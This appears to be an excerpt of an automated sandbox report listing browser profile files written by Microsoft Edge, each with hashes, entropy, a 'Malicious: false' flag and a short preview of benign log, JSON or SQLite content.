Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b9818a63-7c72-4043-9a80-9d3c4b3b1ac3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fce28f7e-52fb-4aab-9dec-23e5b01966b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2683288875366605
Encrypted:	false
SSDEEP:	12:7vGc+v4YebvqBZFUtlDfyW/bNV5LYebvqBaJ:7uN4YebvygtnLYebvL
MD5:	142093EC3A7AE49EF429C62DBB3831B8
SHA1:	5C14559D16497653EFD07FAE7893373D74F00CDA
SHA-256:	F4B7F4D46C6F90CE46E7FE220CF480534848711ADA326399AEE7609FE6F4B3FA
SHA-512:	2D2D090220CB51137A1DDC036C03F4A61A27C31E592DD340F34822B93B7DD6DC686508E80362FB5A33066F818F2246A59DC92EAE378D00084B4AF3025AAAE44D
Malicious:	false
Preview:	2025/02/25-19:49:32.867 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/25-19:49:32.869 1c3c Recovering log #3.2025/02/25-19:49:32.872 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2683288875366605
Encrypted:	false
SSDEEP:	12:7vGc+v4YebvqBZFUtlDfyW/bNV5LYebvqBaJ:7uN4YebvygtnLYebvL
MD5:	142093EC3A7AE49EF429C62DBB3831B8
SHA1:	5C14559D16497653EFD07FAE7893373D74F00CDA
SHA-256:	F4B7F4D46C6F90CE46E7FE220CF480534848711ADA326399AEE7609FE6F4B3FA
SHA-512:	2D2D090220CB51137A1DDC036C03F4A61A27C31E592DD340F34822B93B7DD6DC686508E80362FB5A33066F818F2246A59DC92EAE378D00084B4AF3025AAAE44D
Malicious:	false
Preview:	2025/02/25-19:49:32.867 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/25-19:49:32.869 1c3c Recovering log #3.2025/02/25-19:49:32.872 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.227469895300419
Encrypted:	false
SSDEEP:	6:iOXuoHZ9+q2P923oH+TcwtpIFUtFuoHZJZmw7uoH7NVkwO923oH+Tcwta/WLJ:7vHZ4v4YebmFUtlHZJ/bHn5LYebaUJ
MD5:	FE2748CA04E5817726109666B0A97991
SHA1:	4ADE4BF2B71D8EC8C9DAF43EF79E5051FF3C9FD0
SHA-256:	9AD75A60A615520ECBE13FA53C172EC1A411B1165D6A7B3201CEBC6B0D9E55E0
SHA-512:	E97140C9FEC18FE10B53FA7910067B56DAFD70B5E927378A29BC224785F721B4AA91CB21314757F941949C7C6E1975681C7198C71C6C04A564196C51C8B22316
Malicious:	false
Preview:	2025/02/25-19:49:13.709 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/25-19:49:13.709 9c8 Recovering log #3.2025/02/25-19:49:13.710 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.227469895300419
Encrypted:	false
SSDEEP:	6:iOXuoHZ9+q2P923oH+TcwtpIFUtFuoHZJZmw7uoH7NVkwO923oH+Tcwta/WLJ:7vHZ4v4YebmFUtlHZJ/bHn5LYebaUJ
MD5:	FE2748CA04E5817726109666B0A97991
SHA1:	4ADE4BF2B71D8EC8C9DAF43EF79E5051FF3C9FD0
SHA-256:	9AD75A60A615520ECBE13FA53C172EC1A411B1165D6A7B3201CEBC6B0D9E55E0
SHA-512:	E97140C9FEC18FE10B53FA7910067B56DAFD70B5E927378A29BC224785F721B4AA91CB21314757F941949C7C6E1975681C7198C71C6C04A564196C51C8B22316
Malicious:	false
Preview:	2025/02/25-19:49:13.709 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/25-19:49:13.709 9c8 Recovering log #3.2025/02/25-19:49:13.710 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651382841070244
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMNSAELyKOMq+8yC8F/YfU5m+OlTLVum5:Bq+n0JN9ELyKOMq+8y9/Owi
MD5:	9974DC33FD1ECAB164DC2438DD65C533
SHA1:	861E9558AF37E6ACE1FC7ABDDA5691C1EA6F0084
SHA-256:	D968C1187F925762459EA2A485A3D4B24B8FB97D1006EB908ECED2051A0945B1
SHA-512:	CD5A53C23430ADBE69D3E9166187A58D6CFE758E36DEC9658AFFBAF0B242A72A501E75B2D77EDDAF911AE3E6110F730F8601DD78B2E65D95FBFC88E685B87E3E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46686228500398186
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Ls3:v7doKsKuKZKlZNmu46yjx0Lk
MD5:	41AAF1E93B368427C780EAC2FFA72E6C
SHA1:	7F2F9B5AD6CECD0F2FDC61087F7BA72A22DB917F
SHA-256:	E2E32F8911730D3EDDB98BC8A998C583B115C96365E0FE9718094C07CB5E2009
SHA-512:	54DB4C87A3F7E3A8FE2B522CC30AA6A9CE97EA004863E3C79E3B02E0E803090A40887A57793825256B5170A72586C3FA4381C201D71E8F9AC39AA5618DA8FE51
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b222c2ff-4c65-497a-ab7a-8df10d65e257.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14221
Entropy (8bit):	5.292886099535729
Encrypted:	false
SSDEEP:	384:stQPGKSu4ds494JfhXUbGMQwg6WmlaTYna:syOxuy9Sf6bGLvMaTYna
MD5:	A6A6837C3DE736DAF059E0A21171B709
SHA1:	3597F8EAA506A5BE67B1B088E7D6D59C42EB01C6
SHA-256:	46DA51889972D09D01827F14CB2CDA35CE01352E65FEB9DA6CE6911D74668AAE
SHA-512:	47ADF79F6907C1199968495E0BA30F9AD1ABEA54752C72A8B7C36A8A1123C276992BA7B3F9415CAF59A7A75A2177C19DCA5B289924F751B6A77D1A4CF2DE810B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ef655df2-235a-45e2-a16b-9604ac1d5a7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13463
Entropy (8bit):	5.2269019538421
Encrypted:	false
SSDEEP:	192:stQJ99QTryDigabatSuypds494JsZihUk3Y3884bV+FKxQwh66WWaFIMYn+PsYJ:stQPGKSu4ds494JfhHbGMQwg6WWaTYna
MD5:	55A22838CCCA0C4353C74B3E4D73927A
SHA1:	2109A8DFFE13C80CF3D3087BC37ABB3A48F15F64
SHA-256:	3CD5995970EEECDC78526AABE273B24F844A83B407255A72EF81E02BE2F1F554
SHA-512:	412E3E84BAF0232C304A744CC6496AF2FA083D74082616CBFDB01814F70BAFA2739C9F9E56F7038A907DAFCB0309495C638B90407E0DD467232264B78563C119
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10925110093993147
Encrypted:	false
SSDEEP:	12:0mthBkLpEjVl/PnnnnnnnnnnnnnvoQrEo8VF4D:0mthwoPnnnnnnnnnnnnnvBjpD
MD5:	B6BD95AC5E942BBA521CAE5300B3D342
SHA1:	8E4C48C187389F2AE58B1A10A7366E4C1C1C4F4C
SHA-256:	A3999F65D9032FD4191F3A7D599D6EA83A9FFB6BD1C77FCDEF190696D4CA1028
SHA-512:	E378F509DCEFBE12D16A95214C0AD9BA7961804E992A0001CE21C6FC1A39BEDB21CF0BB080A8752A723577ADCAA917918AC8BD686063A299D802ED548922962A
Malicious:	false
Preview:	..-.............U........6..h.#..4..}.....%m}...-.............U........6..h.#..4..}.....%m}.........Q...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	350232
Entropy (8bit):	0.9815008583719517
Encrypted:	false
SSDEEP:	384:G2GQnYIrxsf1MUw/72iSH+5mNWZJYPYzXdLBYN8kvBN283VB3K+8bnyoyRiyiy8Q:sa6cH7WbaVSJvrbZk9gZ
MD5:	E71AAB03591E1021C083946B418744F2
SHA1:	4C371BDAAAEE7525D65FB703AE587770A39BC8B1
SHA-256:	B85536E3BA3FF605F83F837BF93F136E5B2DF4892D1121D8D1B1F27106D6BA65
SHA-512:	F947E9BE67DD704E0FC06D183A0C600CD0426DCB095B3C1246E181E22168DEE248FFBE9DBD4E32ADF9023114F7BEF1B3E26EEA5790C428061E1672AF1D0E7EB1
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	3.5464094122038765
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuWllTSs98K:iDIlz5
MD5:	AF473A390F6BE0E90F002B7E43667729
SHA1:	F8C555DF8702708430BB12DA2265223CCD62FEB3
SHA-256:	9EEFF51F786E875D8816FF566B6C8FAC3D71D0A58AA336AB707550166DF87229
SHA-512:	6A5C0F9C928F10867BF6A6D6BC8F7165C5F1302EB349EB76A21B9A7BDC42361FB4272D01C3D1968265857F1CB2BBE7EC4EAA1CD5EC408586DC76F713000F4A2D
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..................+:...............#38_h.......6.Z..W.F.........................V.e................V.e................z...0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.245659536879359
Encrypted:	false
SSDEEP:	6:iOXuoCHN+q2P923oH+TcwtfrK+IFUtFuoThJZmw7uoTh9VkwO923oH+TcwtfrUed:7vCov4Yeb23FUtlThJ/bThD5LYeb3J
MD5:	6A6F2E3BBBA5BAB25D514A7B9F28EF76
SHA1:	29552AD5D637E10A5BBBC0B363359D6AD4CA1493
SHA-256:	6C661040CF4E05AD4502ADDFBAAD7FE9AC50B7021465BDDB29868CAA57837427
SHA-512:	DCE84EC3E1306521F52B335A28C6C887D0C926610106656440DC9E588E022A19B24C9BCA8E6803F6C9704BBCF43103E348C8E326ABA0D6A1F81502418DB42C70
Malicious:	false
Preview:	2025/02/25-19:49:14.358 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/25-19:49:14.359 9c8 Recovering log #3.2025/02/25-19:49:14.359 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.245659536879359
Encrypted:	false
SSDEEP:	6:iOXuoCHN+q2P923oH+TcwtfrK+IFUtFuoThJZmw7uoTh9VkwO923oH+TcwtfrUed:7vCov4Yeb23FUtlThJ/bThD5LYeb3J
MD5:	6A6F2E3BBBA5BAB25D514A7B9F28EF76
SHA1:	29552AD5D637E10A5BBBC0B363359D6AD4CA1493
SHA-256:	6C661040CF4E05AD4502ADDFBAAD7FE9AC50B7021465BDDB29868CAA57837427
SHA-512:	DCE84EC3E1306521F52B335A28C6C887D0C926610106656440DC9E588E022A19B24C9BCA8E6803F6C9704BBCF43103E348C8E326ABA0D6A1F81502418DB42C70
Malicious:	false
Preview:	2025/02/25-19:49:14.358 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/25-19:49:14.359 9c8 Recovering log #3.2025/02/25-19:49:14.359 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.254526497555838
Encrypted:	false
SSDEEP:	6:iOXuo+9+q2P923oH+TcwtfrzAdIFUtFuo+JZmw7uo+9VkwO923oH+TcwtfrzILJ:7vdv4Yeb9FUtl4/bg5LYeb2J
MD5:	22C3A5DFA7FBC7D3D2E7968F1C7AEF28
SHA1:	20E1F14DC4A8B03F6C4EACC7CC50547FF6384696
SHA-256:	0A7EDC8D7869D5733F271CC87BEDE408F5936C7103CA8AE23CAD8C73A34B99D3
SHA-512:	F8F1A60AA6C80B6FDD5FE7820DE6BCFE23D881AEF022181ED8D17391FC617E6C43B6C6E55EAA3890474CD1777A9F5EED80DAABE48D89CEB5276AADB9A8A4B13A
Malicious:	false
Preview:	2025/02/25-19:49:14.356 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/25-19:49:14.356 9c8 Recovering log #3.2025/02/25-19:49:14.356 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.254526497555838
Encrypted:	false
SSDEEP:	6:iOXuo+9+q2P923oH+TcwtfrzAdIFUtFuo+JZmw7uo+9VkwO923oH+TcwtfrzILJ:7vdv4Yeb9FUtl4/bg5LYeb2J
MD5:	22C3A5DFA7FBC7D3D2E7968F1C7AEF28
SHA1:	20E1F14DC4A8B03F6C4EACC7CC50547FF6384696
SHA-256:	0A7EDC8D7869D5733F271CC87BEDE408F5936C7103CA8AE23CAD8C73A34B99D3
SHA-512:	F8F1A60AA6C80B6FDD5FE7820DE6BCFE23D881AEF022181ED8D17391FC617E6C43B6C6E55EAA3890474CD1777A9F5EED80DAABE48D89CEB5276AADB9A8A4B13A
Malicious:	false
Preview:	2025/02/25-19:49:14.356 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/25-19:49:14.356 9c8 Recovering log #3.2025/02/25-19:49:14.356 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

